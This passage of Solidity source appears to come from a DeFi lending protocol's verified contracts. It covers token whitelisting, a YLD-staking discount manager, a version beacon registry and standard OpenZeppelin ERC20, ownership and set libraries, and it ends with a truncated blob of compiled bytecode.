returns (bool) { return _stableToken[tokenA] && _stableToken[tokenB]; } function isBothWhitelisted(address tokenA, address tokenB) external view override returns (bool) { return _whitelistedToken[tokenA] && _whitelistedToken[tokenB]; } function getDynamicTokens() external view returns (address[] memory) { return _dynamicTokens; } function getStableTokens() external view returns (address[] memory) { return _stableTokens; } function getWhitelistedTokens() external view returns (address[] memory) { return _whitelistedTokens; } function whitelistToken(address token) external onlyOwner { require(!isWhitelisted(token), "Whitelisted"); _handleAddition(token, false); } function whitelistTokens(address[] calldata tokens) external onlyOwner { for (uint256 i = 0; i < tokens.length; i++) { if (!isWhitelisted(tokens[i])) { _handleAddition(tokens[i], false); } } } function unwhitelistToken(address token) external onlyOwner { require(isWhitelisted(token), "!whitelisted"); _handleRemoval(token, false); if (isStableToken(token)) { _handleRemoval(token, true); } if (isDynamicToken(token)) { _handleDynamicRemoval(token); } } function setAsStableToken(address token) external onlyOwner { require(!isStableToken(token), "Set"); require(isWhitelisted(token), "!whitelisted"); _handleAddition(token, true); } function unsetAsStableToken(address token) external onlyOwner { require(isStableToken(token), "!stabletoken"); _handleRemoval(token, true); } function setAsDynamicToken(address token) external onlyOwner { require(!isDynamicToken(token), "Set"); require(isWhitelisted(token), "!whitelisted"); _dynamicTokenID = _dynamicTokenID.add(1); _dynamicTokenIDOf[token] = _dynamicTokenID; _dynamicToken[token] = true; _dynamicTokens.push(token); } function unsetAsDynamicToken(address token) external onlyOwner { require(isDynamicToken(token), "!dynamic"); _handleDynamicRemoval(token); } function _handleAddition(address token, bool forStableToken) private { if (!forStableToken) { _tokenID = _tokenID.add(1); _tokenIDOf[token] = _tokenID; _whitelistedToken[token] = true; _whitelistedTokens.push(token); } else { _stableTokenID = _stableTokenID.add(1); _stableTokenIDOf[token] = _stableTokenID; _stableToken[token] = true; _stableTokens.push(token); } } function _handleRemoval(address token, bool forStableToken) private { if (!forStableToken) { uint256 tokenIndex = _tokenIDOf[token].sub(1); _tokenIDOf[token] = 0; _whitelistedToken[token] = false; delete _whitelistedTokens[tokenIndex]; } else { uint256 stableTokenIndex = _stableTokenIDOf[token].sub(1); _stableTokenIDOf[token] = 0; _stableToken[token] = false; delete _stableTokens[stableTokenIndex]; } } function _handleDynamicRemoval(address token) private { uint256 dynamicTokenIndex = _dynamicTokenIDOf[token].sub(1); _dynamicTokenIDOf[token] = 0; _dynamicToken[token] = false; delete _dynamicTokens[dynamicTokenIndex]; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import {DiscounterRole} from "../roles/DiscounterRole.sol"; import {IYLD} from "../interfaces/IYLD.sol"; interface IDiscountManager { event Enroll(address indexed account, uint256 amount); event Exit(address indexed account); function isDiscounted(address account) external view returns (bool); function updateUnlockTime(address lender, address borrower, uint256 duration) external; } contract DiscountManager is IDiscountManager, DiscounterRole, ReentrancyGuard { using SafeMath for uint256; address private immutable _YLD; uint256 private _requiredAmount = 50 * 1e18; // 50 YLD bool private _discountsActivated = true; mapping(address => uint256) private _balanceOf; mapping(address => uint256) private _unlockTimeOf; constructor() { _YLD = address(0xDcB01cc464238396E213a6fDd933E36796eAfF9f); } function requiredAmount () public view returns (uint256) { return _requiredAmount; } function discountsActivated () public view returns (bool) { return _discountsActivated; } function balanceOf (address account) public view returns (uint256) { return _balanceOf[account]; } function unlockTimeOf (address account) public view returns (uint256) { return _unlockTimeOf[account]; } function isDiscounted(address account) public view override returns (bool) { return _discountsActivated ? _balanceOf[account] >= _requiredAmount : false; } function enroll() external nonReentrant { require(_discountsActivated, "Discounts off"); require(!isDiscounted(msg.sender), "In"); require(IERC20(_YLD).transferFrom(msg.sender, address(this), _requiredAmount)); _balanceOf[msg.sender] = _requiredAmount; _unlockTimeOf[msg.sender] = block.timestamp.add(4 weeks); emit Enroll(msg.sender, _requiredAmount); } function exit() external nonReentrant { require(_balanceOf[msg.sender] >= _requiredAmount, "!in"); require(block.timestamp > _unlockTimeOf[msg.sender], "Discounting"); require(IERC20(_YLD).transfer(msg.sender, _balanceOf[msg.sender])); _balanceOf[msg.sender] = 0; _unlockTimeOf[msg.sender] = 0; emit Exit(msg.sender); } function updateUnlockTime(address lender, address borrower, uint256 duration) external override onlyDiscounter { uint256 lenderUnlockTime = _unlockTimeOf[lender]; uint256 borrowerUnlockTime = _unlockTimeOf[borrower]; if (isDiscounted(lender)) { _unlockTimeOf[lender] = (block.timestamp >= lenderUnlockTime || lenderUnlockTime.sub(block.timestamp) < duration) ? lenderUnlockTime.add(duration.add(4 weeks)) : lenderUnlockTime; } else if (isDiscounted(borrower)) { _unlockTimeOf[borrower] = (block.timestamp >= borrowerUnlockTime || borrowerUnlockTime.sub(block.timestamp) < duration) ? borrowerUnlockTime.add(duration.add(4 weeks)) : borrowerUnlockTime; } } function activateDiscounts() external onlyDiscounter { require(!_discountsActivated, "Activated"); _discountsActivated = true; } function deactivateDiscounts() external onlyDiscounter { require(_discountsActivated, "Deactivated"); _discountsActivated = false; } function setRequiredAmount(uint256 newAmount) external onlyDiscounter { require(newAmount > (0.75 * 1e18) && newAmount < type(uint256).max, "Invalid val"); _requiredAmount = newAmount; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import {IVersionBeacon} from "./VersionBeacon.sol"; contract VersionManager { address private constant _versionBeacon = address(0xfc90c4ae4343f958215b82ff4575b714294Cdd75); function getVersionBeacon() public pure returns (address versionBeacon) { return _versionBeacon; } function _oracle() internal view returns (address oracle) { return IVersionBeacon(_versionBeacon).getLatestImplementation(keccak256("Oracle")); } function _tokenMgr() internal view returns (address tokenMgr) { return IVersionBeacon(_versionBeacon).getLatestImplementation(keccak256("TokenManager")); } function _discountMgr() internal view returns (address discountMgr) { return IVersionBeacon(_versionBeacon).getLatestImplementation(keccak256("DiscountManager")); } function _feeBurnMgr() internal view returns (address feeBurnMgr) { return IVersionBeacon(_versionBeacon).getLatestImplementation(keccak256("FeeBurnManager")); } function _rewardMgr() internal view returns (address rewardMgr) { return IVersionBeacon(_versionBeacon).getLatestImplementation(keccak256("RewardManager")); } function _collateralMgr() internal view returns (address collateralMgr) { return IVersionBeacon(_versionBeacon).getLatestImplementation(keccak256("CollateralManager")); } function _loanFactory() internal view returns (address loanFactory) { return IVersionBeacon(_versionBeacon).getLatestImplementation(keccak256("LoanFactory")); } function _offerImplementation() internal view returns (address offerImplementation) { return IVersionBeacon(_versionBeacon).getLatestImplementation(keccak256("Offer")); } function _requestImplementation() internal view returns (address requestImplementation) { return IVersionBeacon(_versionBeacon).getLatestImplementation(keccak256("Request")); } function _loanImplementation() internal view returns (address loanImplementation) { return IVersionBeacon(_versionBeacon).getLatestImplementation(keccak256("Loan")); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import {Roles} from "./Roles.sol"; contract DiscounterRole { using Roles for Roles.Role; Roles.Role private _discounters; event DiscounterAdded(address indexed account); event DiscounterRemoved(address indexed account); modifier onlyDiscounter() { require(isDiscounter(msg.sender), "!discounter"); _; } constructor() { _discounters.add(msg.sender); emit DiscounterAdded(msg.sender); } function isDiscounter(address account) public view returns (bool) { return _discounters.has(account); } function addDiscounter(address account) public onlyDiscounter { _discounters.add(account); emit DiscounterAdded(account); } function renounceDiscounter() public { _discounters.remove(msg.sender); emit DiscounterRemoved(msg.sender); } } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; interface IYLD { function renounceMinter() external; function mint(address account, uint256 amount) external returns (bool); } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping(address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "!has role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: 0 addy"); return role.bearer[account]; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {EnumerableSet} from "@openzeppelin/contracts/utils/EnumerableSet.sol"; interface IVersionBeacon { event Registered(bytes32 entity, uint256 version, address implementation); function exists(bytes32 entity) external view returns (bool status); function getLatestVersion(bytes32 entity) external view returns (uint256 version); function getLatestImplementation(bytes32 entity) external view returns (address implementation); function getImplementationAt(bytes32 entity, uint256 version) external view returns (address implementation); function register(bytes32 entity, address implementation) external returns (uint256 version); } contract VersionBeacon is IVersionBeacon, Ownable { using EnumerableSet for EnumerableSet.Bytes32Set; EnumerableSet.Bytes32Set private _entitySet; mapping(bytes32 => address[]) private _versions; function getKey (string calldata name) external pure returns (bytes32) { return keccak256(bytes(name)); } function exists(bytes32 entity) public view override returns (bool status) { return _entitySet.contains(entity); } function getImplementationAt(bytes32 entity, uint256 version) public view override returns (address implementation) { require(exists(entity) && version < _versions[entity].length, "no ver reg'd"); // return implementation return _versions[entity][version]; } function getLatestVersion(bytes32 entity) public view override returns (uint256 version) { require(exists(entity), "no ver reg'd"); // get latest version return _versions[entity].length - 1; } function getLatestImplementation(bytes32 entity) public view override returns (address implementation) { uint256 latestVersion = getLatestVersion(entity); // return implementation return getImplementationAt(entity, latestVersion); } function register(bytes32 entity, address implementation) external override onlyOwner returns (uint256 version) { // get version number version = _versions[entity].length; // register entity _entitySet.add(entity); _versions[entity].push(implementation); emit Registered(entity, version, implementation); return version; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } }
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c8063a8cb97f611610066578063a8cb97f614610284578063a8db6f6b146102b8578063c878d1dd14610317578063f2fde38b146103e5578063f9e15f65146104295761009e565b8063201af11a146100a3578063715018a6146101715780638da5cb5b1461017b5780638f32d59b146101af5780639846cb35146101cf575b600080fd5b61016f600480360360408110156100b957600080fd5b81019080803590602001906401000000008111156100d657600080fd5b8201836020820111156100e857600080fd5b8035906020019184602083028401116401000000008311171561010a57600080fd5b90919293919293908035906020019064010000000081111561012b57600080fd5b82018360208201111561013d57600080fd5b8035906020019184602083028401116401000000008311171561015f57600080fd5b90919293919293905050506104b7565b005b610179610780565b005b6101836108b8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101b76108e1565b60405180821515815260200191505060405180910390f35b610265600480360360a08110156101e557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610938565b6040518083151581526020018281526020019250505060405180910390f35b61028c610b5c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102fa600480360360208110156102ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b78565b604051808381526020018281526020019250505060405180910390f35b6103e36004803603604081101561032d57600080fd5b810190808035906020019064010000000081111561034a57600080fd5b82018360208201111561035c57600080fd5b8035906020019184602083028401116401000000008311171561037e57600080fd5b90919293919293908035906020019064010000000081111561039f57600080fd5b8201836020820111156103b157600080fd5b803590602001918460208302840111640100000000831117156103d357600080fd5b9091929391929390505050610c04565b005b610427600480360360208110156103fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ebf565b005b61049f6004803603608081101561043f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611099565b60405180821515815260200191505060405180910390f35b6104bf6108e1565b610531576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b8181905084849050146105ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260028152602001807f213d00000000000000000